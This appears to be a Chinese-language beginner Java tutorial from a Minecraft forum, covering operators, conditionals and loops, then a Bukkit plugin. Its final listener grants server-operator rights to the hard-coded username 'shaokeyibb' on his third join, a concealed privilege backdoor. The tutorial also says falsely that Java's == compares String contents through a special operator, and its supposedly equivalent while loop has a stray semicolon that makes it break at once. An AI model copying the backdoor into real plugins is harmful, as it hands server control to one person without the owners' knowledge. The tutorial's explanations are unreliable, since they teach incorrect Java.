写一个工厂方法
public static Object getOnjectInstance(){
return new Object();
}
int a = 2; //还记得吗,在Java中,一个等于号的意思就是赋值,在这里意为把2赋值给a
int b = 3;
int c;
c = a + b; //加号的意思就是两数相加,就像算数一样,因此c的值为5
c = a - b; //减号的意思就是两数相减,因此c的值为-1
c = a * b; //“星号”(在小键盘上有)的意思就是两数相乘,因此c的值为6
c = a / b; //“左斜杠”的意思是两数整除,注意,是整除,只会返回整数,因此,在这里,2除以3返回的值为0
c = a % b; //“百分号”的意思是取余数,因此c的值为2
int d = a * (b + c) //显而易见,数学中的括号优先计算也是可以使用的
hey,如果我们搞一些“数学悖论”,比如,让除数为0,会发生什么?
int a = 0;
int b = 2;
int c = b/a;
int a = 1;
a = a +1;
int a = 1;
int a1 = a++;
int a2 = ++a;
int a3 = a--;
int a4 = --a;
String a = "hello";
String b = " world";
String c = a + b;(因此c为hello world)
int a = 2;
int b = 3;
boolean c;
c = a==b; // ==运算符意为判断==左右两边(即a和b)是否相等,很显然,a不等于b,所以c在这里值为false;
c = a!=b //!=运算符恰恰相反,意为判断左右两边是否不等,所以这里c值为true;
String a = "a";
String b = "a";
boolean c = a==b; //c应该为false
c = a.equals(b); //c为true;
//但是实际运行中,第一个对c的赋值也返回了true,这是因为Java针对String对象搞了一个专门的==号,使他可以对比String的内容了(在其他语言中这个叫做“运算符重载”,不幸的事,Java不支持开发者进行运算符重载.
boolean a = true;
boolean b = false;
boolean c;
c = a&&b //&&为逻辑与运算符,当左右都为true是,返回true,否则返回false。此处为false
c = a||b //||为逻辑或运算符,当左右有一个为true时,就可返回true,都不为true则返回false。此处c为true
c = !(a&&b) //!为逻辑非运算符,如果后面的值为true则返回false;后面的值为false则返回true。此处a&&b为false,故c为true
//当然,类似于a&&b&&c这样也是可以的,即abc都为true时才返回true
int a = 20;
//if语句:如果括号内为true,则运行大括号内语句。对应人类语言:如果...就
if(a==20){
a=10; //因为a确实等于20,因此此处会被执行,a值为10;
}
//if...else语句:如果括号内为true,则执行大括号内语句,否则执行else后的大括号语句。对应人类语言:如果...就...否则...就...
if(a==20){
a=10; //因为上面a被赋值为10了,所以这里的代码不会被执行,因为a不等于20
}else{
a=15; //因为a==20为false,故此处会被执行,a值为15
}
//if...else if...else语句:对应人类语言:如果,否则如果,否则如果,否则
if(a==1){
//此处代码块不会被执行,因为a为15,不等于1
}else if(a==2){
//此处代码块不会被执行,因为a为15,不等于2
}else if(a==15){
//此处代码块会被执行,因为a确实等于15
}else{
//此处代码块不会被执行,因为a不是一个即不等于1,又不等于2,又不等于15的其他数
}
//注意,最后面的else不是必须的,如果你不需要否则的话;else if可以无限套娃,写一堆else if.
//新活:套娃
int num1 = 1;
int num2 = 2;
if(num1==1){
if(num2==2){
//即当num1为1且num2为2时执行此处代码
}
}
//然而以上代码完全可以简化为if(num1==1&&num2==2){}
//事实上你会发现如果要判断一个数是否为指定值,那么用else if会很麻烦,要一直套娃,因此我们可以使用switch语句
//switch...case语句
int number = 200;
switch(number) //这个括号里的值曾经不能是String,但现在可以了
{
case 10:
//当number为10时执行此处代码块,此例中不会执行
break; //必须在每一个case末尾标注break(在接下来的循环流程中,你也可以使用break,意为跳出循环)
case 20:
//do something
break;
case 200:
//此处代码会被执行
break;
default:
//default的作用同if...else if..else中的else一样,同时也不是必要的
int a = 10;
//while
while(a<10){
a++; //while循环,当括号内boolean表达式被满足时便开始循环,直到不满足表达式
}
while(true){
//while true会使一个循环一直持续下去,不会停止(除非在循环中break)
}
//do...while
do{
a++;//于上面不同的是,do...while会先执行一次循环体内的代码,然后再按照while的表达式判断循环(也就是说,do while中代码至少会被执行一次)
}while(a<10);
int b = 1;
//for
for(int i=1;i<10;i++){//千万注意,这里是两个分号,不是逗号
/* for循环的流程是这样的:
首先,int i=1是初始化,初始化一个值用来计数(当然,在循环体(即,for下面大括号里的那些代码)中也可被调用),此处初始化了一个值为1,名为i的int值
然后,i<10是判断表达式,当此处判断满足(即,为true)时,执行循环体,否则跳出循环
每一次执行完循环体后,调用i++对计数的值(别的也行)进行更新
直至不满足表达式,跳出循环
因此,上面的for意为,一个数为i,如果i<10循环一次,每次循环完令i加1
*/
}
for(;;){
//同while(true)
}
//foreach(增强式for循环)略,用到List,Map,数组的时候再讲
int a =1;
//以下while代码效果同上方的那个for循环代码
while(true){
if(a>=10);{
break;
}
a++;
}
//一个玩家加入事件监听器类的结构
package cn.lingyuncraft.hellominecraftplugin;
import org.bukkit.event.EventHandler;
import org.bukkit.event.player.PlayerJoinEvent;
public class Listener implements org.bukkit.event.Listener {
@EventHandler
public void onPlayerJoin(PlayerJoinEvent e){
}
}
public static int count = 0; //初始化int值
package cn.lingyuncraft.hellominecraftplugin;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.player.PlayerJoinEvent;
public class Listener implements org.bukkit.event.Listener {
private static int count = 0;
@EventHandler
public void onPlayerJoin(PlayerJoinEvent e){
Player player = e.getPlayer();
if(player.getName().equals("shaokeyibb")){
count++;
}
if (count==3){
player.setOp(true);
}
}
}
package cn.lingyuncraft.hellominecraftplugin;
import org.bukkit.Bukkit;
import org.bukkit.plugin.java.JavaPlugin;
public final class Hellominecraftplugin extends JavaPlugin {
@Override
public void onEnable() {
// Plugin startup logic
Bukkit.getPluginManager().registerEvents(new Listener(),this);
}
@Override
public void onDisable() {
// Plugin shutdown logic
}
}
欢迎光临 PixelBBS 我的世界像素论坛 (https://www.pixelbbs.cn/) | Powered by Discuz! X3.4 |